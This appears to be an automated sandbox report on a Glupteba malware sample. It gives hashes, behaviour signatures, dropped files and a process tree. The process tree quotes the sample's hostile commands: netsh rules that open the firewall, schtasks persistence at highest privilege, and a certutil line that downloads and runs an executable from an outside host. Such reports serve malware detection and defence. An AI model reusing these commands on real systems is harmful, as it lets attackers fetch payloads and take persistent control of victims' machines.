Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 05:38

General

  • Target

    861cc5c1e6d938171e2e961ae43ef3e9_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    861cc5c1e6d938171e2e961ae43ef3e9

  • SHA1

    e90c7c92073b47b49f1a9feb2f1433fb33bbf7a4

  • SHA256

    e55ce61dbdad1317726e9bd545482565aaed1fef3cc7f0cb550736eeb886d272

  • SHA512

    f96b24a14f08d6c5213d05e2b93d69993bb05fba0af091ea60442bb28476d270b1436e73d9e691ff67d5992df7c50bbef9638f63841cc0fac0581c02c1e70e94

  • SSDEEP

    98304:t1sxR8nn0PnKmYIHjq7m7MoEvCNq8XZQKxUlwon7TJhRtm:TsMnqKy8mLEvCNPen3m

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\861cc5c1e6d938171e2e961ae43ef3e9_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\861cc5c1e6d938171e2e961ae43ef3e9_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2252
    • C:\Users\Admin\AppData\Local\Temp\861cc5c1e6d938171e2e961ae43ef3e9_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\861cc5c1e6d938171e2e961ae43ef3e9_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5056
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:884
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3076
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\e39ef49b5a84\e39ef49b5a84.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3120
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\e39ef49b5a84\e39ef49b5a84.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:976
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2300
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4136
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3552
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3672
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3740
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 652
        3⤵
        • Program crash
        PID:2868
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 980
      2⤵
      • Program crash
      PID:3772
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2252 -ip 2252
    1⤵
      PID:408
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5056 -ip 5056
      1⤵
        PID:1992

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        861cc5c1e6d938171e2e961ae43ef3e9

        SHA1

        e90c7c92073b47b49f1a9feb2f1433fb33bbf7a4

        SHA256

        e55ce61dbdad1317726e9bd545482565aaed1fef3cc7f0cb550736eeb886d272

        SHA512

        f96b24a14f08d6c5213d05e2b93d69993bb05fba0af091ea60442bb28476d270b1436e73d9e691ff67d5992df7c50bbef9638f63841cc0fac0581c02c1e70e94

      • memory/2252-2-0x00000000071E0000-0x00000000078DC000-memory.dmp

        Filesize

        7.0MB

      • memory/2252-3-0x0000000000400000-0x0000000000B16000-memory.dmp

        Filesize

        7.1MB

      • memory/2252-5-0x0000000000400000-0x0000000000B16000-memory.dmp

        Filesize

        7.1MB

      • memory/2252-6-0x00000000071E0000-0x00000000078DC000-memory.dmp

        Filesize

        7.0MB

      • memory/2252-4-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2252-1-0x0000000006E20000-0x00000000071D8000-memory.dmp

        Filesize

        3.7MB

      • memory/2300-18-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-23-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-30-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-19-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-20-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-21-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-22-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-17-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-24-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-25-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-26-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-27-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-28-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/2300-29-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB

      • memory/5056-12-0x0000000000400000-0x0000000005157000-memory.dmp

        Filesize

        77.3MB